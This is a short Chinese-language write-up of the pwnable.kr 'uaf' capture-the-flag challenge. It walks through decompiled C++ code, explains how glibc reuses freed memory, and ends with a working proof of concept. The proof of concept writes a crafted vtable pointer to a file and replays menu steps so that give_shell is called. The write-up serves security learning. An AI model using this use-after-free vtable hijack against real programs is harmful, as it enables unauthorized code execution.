[Pwnable.kr] uaf
通过UAF漏洞控制vtable,调用指定虚函数(其实还可以干更多事情的……
由glibc会对linux内存管理进行一层封装(类似一个内存池),小块内存的分配从内存池中分配,而释放也不会“真正”释放回去。所以当刚释放了一块大小为x的内存,又申请同样大小的内存时,刚被释放的那块内存会被优先分配。
本题中有m、w两个对象都有一个虚函数表,两个表项分别是base::give_shell和derived::introduce.
F5一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 |
int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { Human *v3; // rbx@1 __int64 v4; // rdx@1 Human *v5; // rbx@1 int v6; // eax@6 __int64 v7; // rax@6 Human *v8; // rbx@7 Human *v9; // rbx@9 const char **v10; // [rsp+0h] [rbp-60h]@1 char v11; // [rsp+10h] [rbp-50h]@1 char v12; // [rsp+20h] [rbp-40h]@1 Human *v13; // [rsp+28h] [rbp-38h]@1 Human *v14; // [rsp+30h] [rbp-30h]@1 size_t nbytes; // [rsp+38h] [rbp-28h]@6 void *buf; // [rsp+40h] [rbp-20h]@6 int v17; // [rsp+48h] [rbp-18h]@2 char v18; // [rsp+4Eh] [rbp-12h]@1 char v19; // [rsp+4Fh] [rbp-11h]@1 v10 = argv; std::allocator<char>::allocator(&v18, argv, envp); std::string::string(&v11, "Jack", &v18); v3 = (Human *)operator new(0x18uLL); Man::Man(v3, &v11, 25LL); v13 = v3; std::string::~string((std::string *)&v11); std::allocator<char>::~allocator(&v18); std::allocator<char>::allocator(&v19, &v11, v4); std::string::string(&v12, "Jill", &v19); v5 = (Human *)operator new(0x18uLL); Woman::Woman(v5, &v12, 21LL); v14 = v5; std::string::~string((std::string *)&v12); std::allocator<char>::~allocator(&v19); while ( 1 ) { while ( 1 ) { while ( 1 ) { std::operator<<<std::char_traits<char>>(&std::cout, "1. use\n2. after\n3. free\n"); std::istream::operator>>(&std::cin, &v17); if ( v17 != 2 ) break; nbytes = atoi(v10[1]); buf = (void *)operator new[](nbytes); v6 = open(v10[2], 0, v10); read(v6, buf, nbytes); v7 = std::operator<<<std::char_traits<char>>(&std::cout, "your data is allocated"); std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>); } if ( v17 == 3 ) break; if ( v17 == 1 ) { (*(void (__fastcall **)(Human *))(*(_QWORD *)v13 + 8LL))(v13); (*(void (__fastcall **)(Human *))(*(_QWORD *)v14 + 8LL))(v14); } } v8 = v13; if ( v13 ) { Human::~Human(v13); operator delete((void *)v8); } v9 = v14; if ( v14 ) { Human::~Human(v14); operator delete((void *)v9); } } } |
可以看出new的参数是0x18,也就是说每个对象的大小是24字节(vptr, name, age),而v13即是m对象的地址,*(_QWORD *)v13 + 8LL对应的是derive::introduce。如果要想在这里执行give_shell,则*v13的地址必须要减去8才行。
恩地址怎么找。在IDA按Ctrl+E可以指定ep,上面就有vtable for Man这个东西,直接可以定位过去
然后在gdb main上下一个断点,来查看0x401570的内容
确实是vtbl,那么我们只需要把0x401570往前推8个字节就可以了。
1 2 3 4 |
python -c "print '\x68\x15\x40\x00\x00\x00\x00\x00'" > /tmp/poc ./uaf 24 /tmp/poc 3->2->2->1 |